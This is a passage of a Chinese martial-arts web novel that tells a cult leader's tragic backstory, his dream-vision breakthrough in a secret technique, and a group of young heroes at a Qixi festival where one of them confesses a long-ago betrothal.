鬼俈疼得实在厉害,喃喃自语道:“都是幻觉,都是幻觉!”话罢,拿起桌上长刀,只一刀便将自己的左臂砍断。 说来也怪,断臂之后,心情平复了不少,头也不疼了,如释重负的躺下,回想起刚才怪异的事情。紫袍道长的脸很模糊,但他的声音却很熟悉,那一男一女的样子同样很模糊,说不出是谁,只觉得他们无比温馨,腰上佩戴的玉也很熟悉,只是梦境之中,无论如何也看不清到底刻的什么字。鬼俈摸出自己身上的半块玉,这半边是个“告”字,不知另一半所刻何字,突然想起梦中,那位女子唤自己的名称:难道,真是“浩”?浩然正气,呵,何为邪?何为正? 鬼俈摇摇头,收起玉佩,懒得再想。 这时,三长老岷湮过来查探病情,见鬼俈断了手臂大惊:“右护法,你这是为何啊?” 对比岷湮的紧张,鬼俈倒像个没事人一般,满不在乎的说道“左臂已经中了剧毒,若不砍掉,剧毒迟早会蔓延至全身。” 岷湮摇摇头,一阵惋惜,接着递给鬼俈一封信:“这是左护法送来的。” 鬼俈接过信看了看,冷哼道:“乌合之众,皆是些不知死活的鼠辈!”话罢,将信递给三长老。 三长老看罢大惊,信上写的,正是八大门派商讨围攻魅影教之事。 “那下一步,我们该怎么做?” “原地休整,明日班师回教!时间紧迫啊,希望教主能早些悟出第九重功法!” 第六十八章 公孙魄传 乌桓国境内,魅影教中,密室之内: 骷魅盘坐在地,双目禁闭,全神贯注提升心境,《万幻影决》第九重功法极其霸道,需要强大的心境驾驭,若能习得,便算是窥入化境,纵敌百万,亦不能敌之! 密室内,骷魅正在回想着自己的前半生,然而他只记得其中的一小部分。 三十四年前,他出生在乌桓一个小部落,那时,他有一个中原名字,叫公孙魄,母亲名叫公孙妍,他跟随母亲过着游牧生活,上午放马放羊,下午则和同伴摔跤、射箭,日子过得还算惬意。然而,十一岁那年,一场瘟疫改变了一切,母亲不幸感染,濒临死亡,来了许多大夫,各种药方试了百遍,但仍没见好转。 这时,一个身穿紫色斗篷的神秘男子出现了,那个男人自称是他的生父,将他和母亲接走了,从此,公孙魄多了个身份——魅影教少主,在那里,母亲的病情得到好转,大有治愈之像,然而,两周后的一天,那个男人突然告诉他,母亲去世了。接着,他被紧锁在屋内,不管他怎样哭喊,男人始终不让他再见母亲遗体,甚至连出殡那天都没有带上他。之后,丧事办完,男人开始以父亲身份,全权照顾起他的生活,他的练功生涯也就此展开。说来也奇,虽然他起步慢,十一岁才开始练功,但他的武学天赋却非常高,几乎可以算是百年难得一遇的天才!只用了五年,便将《万幻影诀》修炼到了第七重——化实为虚,要知道,当年他父亲修炼到第七重可是用了整整三十年!更恐怖的是,紧接着,他又只用了两年时间,便从第七重修炼到了第八重——化虚为实,进入真正恐怖的幻影境界。 然而,练得神功,称霸江湖并不是他所热衷的,他对自己未来的定位十分简单,做一个无忧无虑的小牧民,上午,赶着几十只羊,上坡吃草,下午,将羊赶回圈里,与同伴骑马射箭,谈天说地。可以说,尽管他的武功已达无人出其右的高度,但他的心境,仍只是那个天真善良、崇尚自由的小男孩。这些年,父亲逼得很紧,他每天都在被迫练功,对练功的兴趣早已麻木,相反,对自由的渴望却是与日俱增。 那天,他十八岁生辰时,老教主突然当着全派教众的面宣布退位,要将教主之位传给百年难得一遇的天才——公孙魄!还为他取了个教号——骷魅,寓意要血洗中原武林,使其万里骷骨,并希望他能将魅影教发扬光大,成为天下第一。 大家都以为,这会是一个皆大欢喜的好事,然而,令老教主和众人没料到的是,他的这个决定,公孙魄直接当场拒绝了,并因此和老教主大吵了一架,讽刺老教主只是把母亲当做生育工具,把自己当做杀人武器,从没有真正爱过他们,老教主大怒,若不是教众们拉开,两人险些动手,第二天,公孙魄便失踪了,此时,他的《万幻影诀》已达第八重,与老教主交手亦能打平,而本有能力制止他的高手却又恰好不在教中,所以,眼下公孙魄自己不想当教主,要逃离魅影教,谁也没能力将他带回。 不过,老教主并没有放弃,一直派了个秘密人跟踪着他,这个人便是鬼岐,一个《万幻影诀》到达了七重的神秘男子。(鬼岐没有《万幻影诀》第八重的修炼秘籍,所以绝不可能突破瓶颈,除非他能自己顿悟秘诀。)对了,老教主也有个教号,名叫——紫阎王。 公孙魄在乌桓国一天也没多待,他早就计划好了出走目的地——中原!虽然他的梦想是要当一个小牧民,但现在刚逃离魅影教,显然不能再待在乌桓国了,所以,中原成了不二首选。 一番乔装打扮,他越过了边境,来到了幽州,虽已远离了乌桓,但他同样不敢在幽州久呆,因为,幽州是他舅舅的势力范围之内,忘记说了,公孙魄的舅舅是赫赫有名的幽狼派狼主——公孙皓,他复姓公孙的由来正是来源于母亲。当年,公孙皓和紫阎王是好友,紫阎王为幽狼派提供巨魔狼的幼崽,公孙皓则为他提供中原情报,帮助其搜集名贵药材、中原珍宝等,两人性格相仿,很快便结为异性兄弟,之后,公孙皓更是将自己的妹妹公孙妍许配给了紫阎王,然而,事与愿违,公孙妍并不喜欢他,她自幼读书,琴棋书画样样精通,十分鄙视紫阎王的生活方式,但悲剧的是,紫阎王却深深的爱上了她。 结婚后,公孙妍一直很冷漠,以各种理由疏远紫阎王,所以,尽管两人结婚一年多了,但只有夫妻之名,并无夫妻之实,一次宴会,紫阎王贪了几杯,竟喝醉了,酒后乱性的他,强行与公孙妍行了房,那次之后,公孙妍便有了身孕。 紫阎王自是喜不自禁,但公孙妍却是悲痛愤怒,竟要离家出走,紫阎王自然不会允许,但公孙妍却以自杀威胁,为了安抚住她,保住胎儿,最后,紫阎王做出让步,妥协了。 前面说过,公孙妍嫁给紫阎王,完全是被兄长所迫,为了不再见到兄长,她没有选择回中原,而是留在了乌桓,以替乌桓贵族放羊为生,后面的事,大家都知道了。 所以,公孙魄只在幽州呆了两天,便离开幽州,去往了冀州,在那里,他学会了赌博,出色的听力让他赚得盆满钵满,摇身一变,便成为一位富家公子哥,只赢不输的他很快对赌博失去了乐趣,他又多了两个新爱好——喝酒嫖娼。 但滑稽的是,公孙魄却从没体验过喝醉酒的滋味,已达化实为虚境界的他早已没有了喝醉酒的感觉,并且,对肉体接触的敏感度也变得极低,喝酒嫖娼的爱好只是为了填补生活的空虚罢了,这样的生活,没过多久,他便再次厌倦,继续出发,游历起四方。 两个月不到,他已游过四州十郡了,终于,他来到了江东。 当从小崇尚自由的他,听到了江上海寇无拘无束,刀口舔生的故事时,他彻底沉沦了,他觉得,这就是他一直再寻找的生活,成为大海上的领航者,自由生活的主导者!多方打听,他了解到江东最强的海寇帮派——蛟蛇派,一路打听之下,他误打误撞来到了黄骷岛…… 公孙魄绝想不到,人迹罕至,毒蛇猛兽环生的黄骷岛,会成为他这辈子魂牵梦绕、牵肠挂肚的地方。 当他架着一叶小舟,停在黄骷岛时,映入眼帘的,是一艘极大极其豪华的海寇船,船帆上写着三个大字——蛟蛇派。 “终于找到了”公孙魄喃喃道。 “什么人。”蛟蛇派的船只上,留有几名侦查员,和十几个水手,当他们发现公孙魄后,话不多说,直接拿起弓,搭上箭,向公孙魄射去。 公孙魄轻轻一闪,悉数躲过,万幻神功发动,化作一团青烟消失在原地,再出现时,他已经闪到了船上,拿着两柄长剑,抵在两个水手身后。 平和的说道:“别误会,我并没有恶意,带我去见你们船长,我要加入蛟蛇派。” 第六十九章 骷魅传 那两个水手吓坏了,其余众人也呆在原地,不知所措。 公孙魄又将长剑向前伸了伸,两名水手连忙答应道“好汉饶命,好汉饶命,我们这就带你去。” 在几名水手的带领下,他来到了一个庭院,院里院外贴满了囍字,张灯结彩的,十分热闹、喜庆。 公孙魄静站在门外,环顾着里面发生的一切,目光一扫,里面尽是些面目狰狞,大口喝酒,大口吃肉的丑陋悍匪,公孙魄嫌弃的摇了摇头,再看主位,一个小女子被强迫坐在哪儿,一个劲儿的哭泣,十分的可怜,他竟对这个从未见过的女子怜悯起来,不止是怜悯之情,好像还有一种特殊的感情,具体是什么他自己也说不上来…… 后面的故事大家都知道了,这个女子便是慕容洵,而公孙魄便是那位白衣少年,公孙魄以一敌众,赶走了蛟蛇派,为防敌寇卷土重来,公孙魄待在了哪儿,慕容钧自然没有意见,毕竟公孙魄可是他们的救命恩人。 经过半个多月的相处,公孙魄与慕容洵快速坠入爱河。 爱情是什么?与年龄有关吗?与身世有关吗?与环境有关吗?显然没有,它的产生只与感觉有关,或许只因那天天气很好,而你刚好出现在那儿,又刚好与他相遇,再刚好给了他一种特别的感觉,从此,他便对你一往情深、无法自拔。 毒蛇猛兽环生的黄骷岛并没有影响到两人甜甜蜜蜜的生活,下江捕鱼、密林探险,或者坐在江边看着潮涨潮退,落日晨曦。慕容钧见公孙魄为人不错,所以也从不干扰两人,相反,偶尔还会助攻一下。 但一封书信的意外到来,打破了这美好的一切。 那天下午,慕容洵和公孙魄躺在草坝上,像往常一样打闹着,嬉笑着。 与往常不同的是,这次公孙魄的表情有些凝重,他小声说道:“我要离开一段时间,你能等我吗?” 慕容洵顿了顿,问道:“你要离开多久?” “不会太久的,放心。”公孙魄抚摸着慕容洵的头发说道。 慕容洵没有回话,公孙魄也没有继续搭话,两人沉默了许久。 碧蓝的天,两只离群的大雁飞过。 “那两只大雁脱离了雁群,一定很孤独吧。”公孙魄开口道。 慕容洵摇摇头,并不认同他的观点:“它们两是夫妻,就这样不离不弃的相伴一生,怎么会孤独呢?” “那倒也是。”公孙魄一边说着,一边握着慕容洵的手,十指紧扣。 “公孙大哥,你喜欢我吗?” “当然喜欢了。”公孙魄没有丝毫迟疑,一边说着,一边将手握得更紧些。 “你会回来娶我的对吗?”慕容洵一脸期待的看着公孙魄。 公孙魄没有犹豫,一脸认真的回答:“当然,等我,我会带着八抬大轿前来娶你。” 慕容洵听了,欣慰的笑起来,但接着又焦虑起来:“你不回来我可怎么办啊?” 此时正是夏季,枫叶林一片碧绿,微风一吹,只是沙沙作响,并不会随风飘舞。 公孙魄看了看一旁碧绿的枫叶,抱紧慕容洵,对她说道:“你放心,最后一片枫叶落下之前,我一定回来。” 两人就这样在草坝上静静的躺了一下午,直到晚上,慕容洵与父亲在渡口送别了公孙魄,谁也没料到,这一别,会是十六年。 显然,那封信是公孙魄离开的关键,信上说道,老教主身染重病,时日不多,希望公孙魄能回去送他最后一程。毕竟父子一场,公孙魄自然要回去,同时他也想告诉父亲,慕容洵的事儿,毕竟,谁都想得到父亲真诚的祝福。 公孙魄一路狂奔,用了半个月才回到魅影教总坛,不过,还是没能及时赶回,老教主已然离世两天。当他推开棺盖,看见老教主冰冷的脸时,他内心第一次为父亲难受,虽然两人关系很僵,但毕竟是自己的父亲,不过他并没有当场哭出来。但当他听说老教主之所以染上重病,是因为老教主太过思念亡妻和儿子,私自去了他们曾经待过的地方,不小心染上了瘟疫,久治未果,最终离去。 那一刻,公孙魄崩不住了,他哭了出来,彻底哭了出来,内心压抑的情绪瞬间释放,一直以来,他认为父亲不过是把他当做一个练功机器罢了,从来没有真正爱过他,但当他得知老教主对他和母亲深深的爱后,彻底认可了老父亲,并为之前与老教主的冲撞而懊悔。 该来的,终归还是来了,老教主的棺材和公孙妍的葬在了一起,那是一片密林,人迹罕至,很清静,鬼岐说,葬在这里,从此以后,应该没人再会打扰他们清净了。 丧事结束后,公孙魄将自己关在一个小屋子里,好好反思过往。 这时,鬼岐过来敲了敲门:“少主,这是老教主的遗物。” 门开后,鬼岐将一个盒子递给公孙魄,接着,关上了门。 公孙魄将盒子打开,里面是一个银色的小球,他拿起小球,细细端详着。 这时,小球竟发出耀眼银光,格外刺眼,公孙魄立马挡着眼睛,但还是中招了。 无数银光涌入公孙魄体内,他的脑海里凭空多出许多莫须有的记忆片段,有无冥的,也有无冥儿子狐鸢的,还有自己父亲紫阎王,脑海中不断浮现着他们的生平遭遇,被五大门派围攻,被叛徒出卖…… 更加诡异的是,老教主重振魅影教的遗愿也十分强硬的印到公孙魄的心中,且异常坚定! 那一刻,公孙魄的心智被那些记忆碎片彻底侵蚀,他忘记了黄骷岛,忘记了慕容洵,只继承了老教主和各任前教主的遗愿:消灭中原武林,重振魅影教。那一刻,他不再是公孙魄,他成为了魅影教主——骷魅。 当他继位那天,他正坐大殿主位之上,一点儿不像个十八岁少年该有的稚嫩模样,阴狠的对殿上教众们说道:“中原武林欠我们魅影教的,迟早得还回来,他们应该搞清楚,谁才是天下第一!” 台下众人皆跪坐在地,表情庄重的听这位新教主讲话,只有鬼岐、藏榆与钦铉低着头,邪魅一笑,只有他们三人知道:紫阎王真正的死因,根本不是瘟疫…… 往事暂不提,且说现话,密室之中,骷魅正盘坐着,参悟万幻影诀的第九重。 此时,骷魅内力上的修为已达瓶颈,再想突破,只能靠心境的提升了,但每一次心境的修行,都会引领骷魅来一个奇怪而熟悉的地方: 江水包围的小岛,雾瘴弥漫,峭壁横生,枯草、枯木、枯骨,外加一座破烂不堪的庭院,一把锈迹斑斑的铁锁紧锁着院门。 当年也是这般荒芜吗?骷魅不得而知,他已经离开太久了,曾经熟悉的一切,都已变得陌生。 一股神秘的引力吸引着骷魅向门口走去,他完全不受控制,慢慢走向院门,拿起了锁,急挥一掌欲打断锁链,这时,一个声音突然闪出: 第七十章 突破?!万幻影诀——第九重? “你已经回不去了,公孙魄”那个声音低沉,空灵中好像还带有几分阴狠。 “公孙魄?!”骷魅内心一惊,他离开了太久,对公孙魄这个称呼已然极其陌生。 “是心魔吗?这里到底是哪儿?我到底要怎样才能逃出去?”骷魅喊道。 这时,那个声音又出来了:“想清楚了?真的决定要逃出去吗?” “你有办法?” “当然!用你的功法,毁了这里便是!” “毁了这里?!” “没错!这里太荒芜了,根本不是你该待的地方!还有什么好犹豫的,毁了它!” 此人说得十分有理,但骷魅还是犹豫了,虽然他并不知道这是何地,虽然狠毒的他杀起人来也从不眨眼,但此刻,他犹豫了,他不知道自己在犹豫什么?杂草丛生、人迹罕至的荒芜小岛对自己明明一点儿用都没有,但他就是下不去手。似乎,有一种特殊的感情在无形中阻止着他。 “还是不行,重新来。”骷魅逃不出这小岛,欲睁开眼逃离幻境回到现实。 闭眼、再睁眼…… 这一次,一股力量阻止了骷魅逃离,再睁开眼时,他仍在那座荒芜的小岛上! “心慈手软可成不了大事!”那个低沉的声音再次响起。 骷魅回过头看到一个神秘的黑衣斗篷男子站在身后六、七米处。 “什么人?!”骷魅摆出守态,谨慎的看着那个神秘斗篷男子。 “你在问我姓名吗?”神秘男子阴沉的说着,话罢脱下了斗篷帽。 斗篷帽下露出的脸,竟和骷魅长得一摸一样! “你?!”骷魅先是一惊,但很快平和下来,笑了笑:“没什么好大惊小怪的,想来,你就是我的心魔吧,只要打败你就行了,对吧!” 神秘人摇摇头:“我可不是什么心魔,准确来讲,我是你身体的一部分,又或者说,你是我身体的一部分。” “想不到你这心魔还挺会瞎掰的,别说那些没用的,动手吧!”骷魅提掌向前一步,化作一缕黑烟,消失在原地,瞬息间,直接闪到那个神秘人身后接着,重重一掌,向神秘人击去。 然而,那掌并没有击倒神秘人,神秘人也如骷魅一般,直接化作一缕黑烟,闪到了骷魅刚才的位置。 当下,两人完全没打起来,只是互相换了换位置罢了。 “不亏是我的心魔,身法都跟我一样,不知,功法又如何呢?”骷魅冷笑一声,双掌一挥,周围枯草枯木,被掌风震得四下飞散,一股巨大的掌气波击向神秘斗篷人。 神秘人笑了笑,诡异的说道:“早该如此了。” 掌波极速击向神秘人,越来越近,越来越近,眼看就要击中了,然而,那位神秘人却突然凭空消失了,不同于《万幻影诀》的瞬身术,这次是真的毫无预兆的凭空消失,就好像从未出现过一般。 掌波并没有因为神秘人的消失而停止,反而是直接撞上了庭院,顷刻间庭院便一片狼藉,破墙碎瓦散落满地。 骷魅瘫跪在地,呆呆得看着满院残破的景象。他清楚的感受到内心的疼痛,但他在疼痛什么?不得而知。 骷魅捂着胸口,倒在地上,叫喊着,闭上了眼,竟默默留下泪来。 “你会回来娶我的对吗?”一少女熟悉的声音突然冒出。 骷魅再一睁眼时,发现自己躺在一片草地上,前面是一望无际的江水,旁边是一片枫树林,后面则是一处普普通通的庭院。 于此同时,身旁还躺着一个少女,一脸期待的看着骷魅。 骷魅不知为何,吐出一句话来,一如往昔:“当然,等我,我会带着八抬大轿前来娶你。” 那少女听了,笑开了花。 “你不回来我可怎么办啊?”一如往昔,少女会忧虑的问道。 骷魅鬼使神差一般,看了看一旁碧绿的枫叶,想对少女说些什么,却发现自己只是在张嘴,完全发不出任何声音来,不只是说话没有声音,似乎,整个世界都没有了声响,时间,仿佛静止了一般。 “这种谎言,你还打算说多久?”那个低沉而又阴狠的声音再次响起。 这次,神秘斗篷男没有从背后窜出,而是从面前走来。 周围一切都静止不动,没有一点儿声音,只有骷魅和那个神秘男子能够正常的交流。 “你是我的心魔,告诉我,这里到底发生了什么?为什么我要一遍又一遍的经历这一切?为什么!” 面对语气急切的骷魅,神秘人的语气倒是平缓得很:“我说过,我不是你的心魔,我也没办法告诉你之前发生的任何事,我只能告诉你,现在,你该怎么做,该如何解决这一切。” “何解?” “顺从你内心的想法!” “我内心的想法!?” “杀了她!!!”神秘人如此说道,声音多了几分死寂。 那神秘人冷冷一笑,快步走近,抓着骷魅的手便向那少女击去。 骷魅手间,竟凭空多出一把匕首来,骷魅大惊,想收回手,却怎么也收不回,接着,匕首刺进了少女的心脏处,神秘人再一次凭空消失。 骷魅赶紧上前抱住少女,泪水不自觉的流了下来,摇摇头:“对不起,我没想过会这样的!” 那少女没有哭,而是微笑着替骷魅擦拭着眼泪,一边说道:“公孙大哥,你一定要回来啊,我会一直等着你。”话罢,少女便闭上了眼,再没醒来。 “不!”骷魅仰天大喊道,周围的江水波浪滚天,枫叶横飞,沙砾碎石皆向四周舞动着。 再一睁眼,骷魅已经坐在了大殿教主主位上。 殿下钦铉、两大堂主,和一些魅影教高手恭敬的跪在地上,齐声喊道:“恭喜教主,《万幻影诀》第九重神功大成!” “还在梦境之中?”骷魅第一时间想到。 “钦铉,我何时说过我突破《万幻影诀》第九重的,而且,我记得我明明在密室之中,为何会坐在这里。” 台下教众听了,面面相觑,不知为何。 钦铉一愣,接着说道:“刚才我看见两个一摸一样的你从密室里出来,功法体型声音都一样,一个昏迷着,一个清醒着,当时,我盘坐门口,寸步不离,所以,绝不可能是从外面跑进去的,但我也不敢大意,我第一反应是有人冒充教主,但因为长相太相似了,不知谁真谁假,不敢乱动,那人将你放在座位上后,便凭空消失了,像是从来没来过一样。所以,我等大胆推断,是教主突破了《万幻影诀》的第九重,分出了另一个真身。” “一派胡言!”骷魅怒道。 众皆惶恐低下头。 “真的是这样啊。”两位堂主也附和道。 “教主许是练功太累了,不如,你试试看,看看自己的功力是否有突破。”钦铉如是说道。 “好。”话罢,骷魅便运起功来。狂风大气,碎石沙砾聚做一团,竟化作一个人来,正是骷魅另一分身! 骷魅再一挥手,那团幻影立即散去。 “恭喜教主,神功大成!”教众再一次叩头说道。 见了此景,骷魅先是一怔,但很快释然,毕竟,突破《万幻影诀》第九重,可是练了足足十六年之久! 骷魅轻轻笑了笑,接着放声大笑起来。 之后,他收敛了笑容,一脸阴狠的说道:“中原武林的血债,是时候该偿还了!” 第七十一章 假如爱有天意 司州,夜晚,街上张灯结彩,一片热闹景象。 此刻,昭相雪等人已进入司州,几人静坐在一酒店屋顶上,一边喝酒,一边看着人来人往的热闹街市。 江雨潇问道:“据说,牛郎织女,每年只有这一天,能从鹊桥渡过天河相会,你们说,为什么真心相爱的人,不能长长久久的待在一起啊?” 枯恂答道:“因为织女是仙女啊,仙女怎能爱上一个凡人,这明显不合礼法。” 慕容洵道:“若是真心相爱,哪管他礼法不礼法。” 于婉道:“就是,牛郎只是在外人眼中是凡人,织女眼中他可不是凡人!” 慕容洵和江雨潇皆点头认同。 昭相雪不解道:“牛郎本来就是凡人,在织女眼中也该是凡人吧。” “哎呀,昭兄,她们的意思是情人眼里出西施啊!”话罢,枯恂对江雨潇问道:“江仙女,我在你眼中是凡人还是神仙啊。” “你?”江雨潇笑着摇了摇头,并不回答。 慕容洵道:“咦,突然告白吗?你这毫无诚意啊。” 枯恂尴尬一笑:“什么告白不告白?咱就随口开开玩笑好吧。” 慕容洵模仿着枯恂,对于婉深情的说道:“婉仙女,我在你眼中,是凡人,还是神仙啊?” 于婉也配合起来,深情的说道:“洵姐,你在我眼中,当然得是最美的仙女啦。” 众人大笑起来,慕容洵突然转身对昭相雪说道:“昭相雪,你说说,婉儿在你眼中,是仙女还是凡人啊?” 场面一度安静,皆看向昭相雪,等着他的回答,昭相雪楞了两秒,小声答道:“当然是~仙女啊” “咦~~~”众皆唏嘘。 于婉更是羞涩脸红:“我听说,这世上有一种鸟,出生时便没有脚,它与伴侣结伴飞行,除了死亡,谁也不能将他们分开!” 慕容洵道:“我也听说过,所以,这世上真有这种鸟吗?” 众皆不语,若有所思,谁也没注意到边上的昭相雪,默默点了点头。 枯恂笑了笑:“好了好了,今天街上这么热闹,江姑娘,我陪你去逛逛吧。” 江雨潇回头瞪了枯恂一眼:“无聊!”嘴上虽这样说着,但却立马起身,轻功一施从楼顶跳到街上,自顾自的向闹市走去。 枯恂满脸欣喜,立马施起轻功追了上去:“等我一起啊。” “走了走了,我们也去逛逛。”慕容洵拉起于婉也向闹市跑去。 两人跳下楼顶,于婉却慢下脚步,缓缓向前,似乎在等着谁,慕容洵抿嘴一笑,回头喊道:“昭相雪,你不跟着一起吗?大晚上的,我们两个弱女子走在街上可不安全。” 听了这话,昭相雪立马起身,也不多话,默默跟在两人后面。 五人走走闹闹,来到一处穿针乞巧的活动处,那里围满了人,中间空地坐着十几个女子,手里拿着针线,准备比拼。住持人,拿着锣在台上喊道:“比赛马上开始了,还有要参加的没?今天的奖品,可是上好的蜀锦一匹,错过了可就没有了,各位!” 于婉看了看昭相雪,扫视了一下他的打扮,摇了摇头,冲主持人喊道:“我来!” 慕容洵笑了:“你行不行啊,你知道怎么玩儿嘛?” 于婉回道:“洵姐,不要小看我好吧。”话罢,转身对昭相雪说道:“昭大哥,快过年了,我去把那件蜀锦赢回来,给你做身新衣裳吧。” “啊,不用麻烦的。” “没事儿,不麻烦的。” 枯恂道:“小师妹,这才七月,过什么年啊,你想送昭兄新衣裳送就是了呗,找什么借口。” 于婉朝枯恂做了个鬼脸走上台去。 主持人递给于婉参赛工具,安排她坐在一空位上。 枯恂小声对江雨潇说道:“潇儿,你也去试试呗,听说,七夕节这天,织女会赐给乞巧的人智慧和巧艺呢” 江雨潇也不回话,只是白了枯恂一眼。 枯恂仍没停止,继续说道:“真的,很灵的,听说,织女还会给乞巧的人赐去美满姻缘呢。” 听了这话,江雨潇眼前一亮,楞了两秒,竟真上了台去! “还有人没,没有人,比赛可就开始了。” “快开始吧”“没人了”“开始吧”围观的群众起哄道。 “好,比赛开始。”主持人重重的敲锣喊道。 穿针乞巧,中国古时风俗。每年七月初七举行。七夕之夜,女子手执五色丝线和连续排列的九孔针(或五孔针、七孔针)趁月光对月连续穿针引线,将线快速全部穿过者称为“得巧”。 比赛开始,于婉凭借着内力,将五色丝线紧紧的压聚在一起,很快便穿过一孔、两孔、三孔…… 很简单嘛,九孔很快便完成了,于婉穿完后,迅速举手示意主持人。 “哇,今年真是巧工辈出啊,竟然有两人同时完成了。”主持人喊道。 这时,于婉往旁边一扫,才发现不远处也有个女子举着手,竟是江雨潇也完成了。 围观群众皆拍手叫好。 “两个人同时完成,以往可从没见过啊,各位看客,你们可有注意到谁最先完成?” “她们同时完成的,照理说,怕是得送两匹出来!”一观众起哄道。 “对,送两匹~”“李庄主家大业大,还缺这两匹蜀锦不成?”围观群众纷纷起哄道。 主持人不知所措,很为难,回头看向后台的老板,老板笑着点点头。 “好,那今年,我们就送两匹蜀锦,恭喜两位姑娘!” 围观群众纷纷拍手叫好,于婉一脸得意的看着昭相雪,昭相雪也微笑着看向于婉,一个劲儿的拍手鼓掌。 “好,下面,我们就有请两位美女,上台领奖!没得奖的也不要气馁,明年还有机会。” 于婉和江雨潇相视一笑,走上台去。 主持人将蜀锦分别送给了两位姑娘:“自我介绍下吧,再说说看,准备用这蜀锦,给哪家公子做衣裳啊。” 于婉抢先说道:“大家好,我叫于婉,青州人士,我打算用这匹蜀锦给我一个朋友做身长衫。”于婉一边说着一边瞟向昭相雪。 主持人笑道:“可否说说,那位公子姓甚名谁,家住何方啊,看上他哪点啊?” “他叫,昭相雪,冀州人,也没别的优点,我就图他长得帅。” 众皆大笑,主持人打趣道:“姑娘真是性情中人,那这位姑娘呢,你也介绍下吧。” “大家好,在下江雨潇,豫州人士,这匹蜀锦,我打算……”江雨潇一边说着,一边瞟向枯恂,枯恂此刻亦期待的看着自己,四目相对,江雨潇竟紧张起来,支吾道:“我还没想好,我先存着。” 听此回答,枯恂默默低下头,有些沮丧。 主持人打趣道:“各位看客听见没,这位天仙还没如意郎君呢!各位可抓紧机会了,说不定能成就一段好姻缘呢!”话罢,场面瞬间沸腾,许多观众毛遂自荐起来,主持人亦打趣助攻,大有做媒之意,枯恂等人见场面失控,赶紧上台拉着两人冲开人群,溜往别处。 跑了许久,众人自觉疲惫,进了一处酒馆,喝起小酒。 第七十二章 缘尽之日 酒馆内: 枯恂、于婉等人正在喝酒吃宵夜。 于婉一脸得意道:“洵姐,如何?” “厉害厉害,想不到婉儿不仅武艺、厨艺了得,巧艺也不赖啊。” 枯恂笑了笑,看着昭相雪道:“昭兄,你也看见了,我小师妹可是什么都会,谁要是娶了她,那绝对是修了八辈子的福份!” 昭相雪仿佛没听见一般,眼神呆滞,并不答话。 枯恂调大了音量,再喊道:“昭兄,昭兄,想啥呢!” 昭相雪醒了醒神,才反应过来大家都看着他,慌忙之下,举起酒杯对众人说道:“来,庆祝于姑娘夺冠,我们一起来喝一杯吧!” 众皆大笑,举杯相撞,一饮而尽。 江雨潇道:“于姑娘,那块蜀锦呢,怎么没见你带回来啊。” 于婉道:“哦,我把蜀锦寄存在旁边裁缝店的杜大娘处了,明天不是要去武林大会嘛,没时间缝补,等武林大会结束了,我们再过来取就好了。” 江雨潇点点头:“有道理,我待会儿也放哪儿去。” 于婉笑了笑,转身看向昭相雪:“昭大哥,长衫如何?你喜欢吗?” 昭相雪看着于婉尴尬一笑,倒满一杯酒,豪饮下去:“为什么要送给我啊,我不喜欢长衫的。” 听了这话,于婉一愣,满座皆楞,接着只听于婉满是歉意的说道:“啊,对不起,那不做长衫,改成胡服吧,如何?胡服穿起来轻便些。“” 昭相雪满脸苦涩,眉头紧锁,摇摇头说道:“不用麻烦了,我也不喜欢胡服。” 于婉有些慌神,她好像知道答案了,但她并不相信那就是最后的结局:“没关系,你喜欢什么样的,再改就是。” 昭相雪不语,默默倒满杯中酒,一饮而尽。 枯恂恼怒道:“昭兄,你平日里穿的不都是长衫嘛,怎么会说不喜欢长衫呢,你今天把话说清楚,到底是不喜欢长衫,还是不喜欢我小师妹!” 众皆屏息,细微的声响都不敢有,皆看着昭相雪,等着他的答案。 昭相雪自顾自的摇摇头,举起酒碗一口饮尽,只觉忧愁更重,再举起酒壶豪饮起来。 半壶下肚,昭相雪终于开口了。 “对不起,于姑娘,我,我有过一段婚约。” “婚约?!” 众人满脸惊愕,不敢相信。 枯恂火气更盛:“什么婚约啊?可从没听你说过啊,不喜欢就是不喜欢,你可别现编!” 昭相雪苦苦一笑,讲起往事: “十六年前,我曾在河边救起过一位溺水的小姑娘,当时情况紧急,我亲了她,并非有意轻薄,实在是为了助她呼吸,无奈而为之。” 枯恂道:“可以理解,事急从权嘛。” 江雨潇立马白了枯恂一眼。 昭相雪继续说道:“事急从权,但也确实失了礼数,后来,那位小姑娘醒了,她要我负责,并与我约定:二十年内,若是她嫁不出去,便与我结为夫妻” 慕容洵问道:“这已过去十六年了,所以,她嫁出去了吗?” 昭相雪摇摇头:“不知道,这些年,我与她并无联系。” 枯恂道:“没事儿,那小姑娘叫什么名字啊?告诉我,我帮你打听去。” 昭相雪又摇了摇头。 江雨潇:“姓名都不知道?不会吧。” “夜深了,该睡了。”于婉突然如此说道,话罢,出了酒楼。 慕容洵也不说话,默默跟在后面,江雨潇叹息两声,也起身离去。 枯恂看着昭相雪许久,倒满了两碗酒,举碗饮尽,摇了摇头,追了上去。 枯恂走出酒店,向于婉追去,却发现于婉等人身后尾随着一名刀客,那刀客身长八尺,高大威猛,背负两刀,来者不善! 于婉等人也有发觉,行知一狭窄小巷,众人停下脚步,慕容洵回首甩出四柄暗器,接着江雨潇与于婉提剑杀向那贼人。 贼人身法极快,轻松躲开暗器,一人一刀对战于婉、江雨潇两人,竟还隐隐占据上风! 正焦灼时,枯恂轻功潜行,距离差不多了,长剑前指,飞速刺向那贼人后背。 眼看就要得手了,那贼人竟巧妙闪身,恰好躲过枯恂攻击。这时,那贼人放下手中长刀,淡定说道:“别误会,我并无恶意,我捡到一枚耳饰,好像是你们落下的。”贼人一边说着,一边摸出一枚精致耳饰,正是之前青菱师太送给于婉的那枚。 于婉接过耳饰,立马愧疚起来,连连道谢:“是我的,谢谢前辈,谢谢前辈。” 那人问道:“这耳饰是你的?你确定?” “当然确定。” 枯恂放下剑,抱歉道:“前辈,方才多有得罪了,这枚耳饰对我师妹很重要,谢谢前辈了。” 那人笑了笑:“没事儿,举手之劳,我叫鞠衍,你们呢。” “我叫枯恂,这是我师妹于婉。” “慕容洵。” “江雨潇。” “幸会幸会。”鞠衍一边说着一边看向于婉。 枯恂突然眼前一亮:“鞠衍?柳城双刀鞠衍?” 柳城双刀:鞠衍,听风阁十二散修中,排名第三,所谓柳城,乃是因为他对外宣传是柳城人士,双刀:乃是因为他的背上,永远背着一青一粉两把宝刀,尽管他永远只使用青色的那把,但粉色的那柄宝刀却也一直背在身上。 鞠衍点点头:“你们也是去洛阳的吧,要不,咱们一起?” 枯恂笑道:“好啊,我正好想再跟前辈切磋切磋武艺呢。” 许久后: 酒楼里,小二端着两壶酒走到角落一张客桌前,将两壶酒放到客桌上:“客官,夜深了,本店快打烊了,这是最后两瓶酒了,你打包带走吧!” 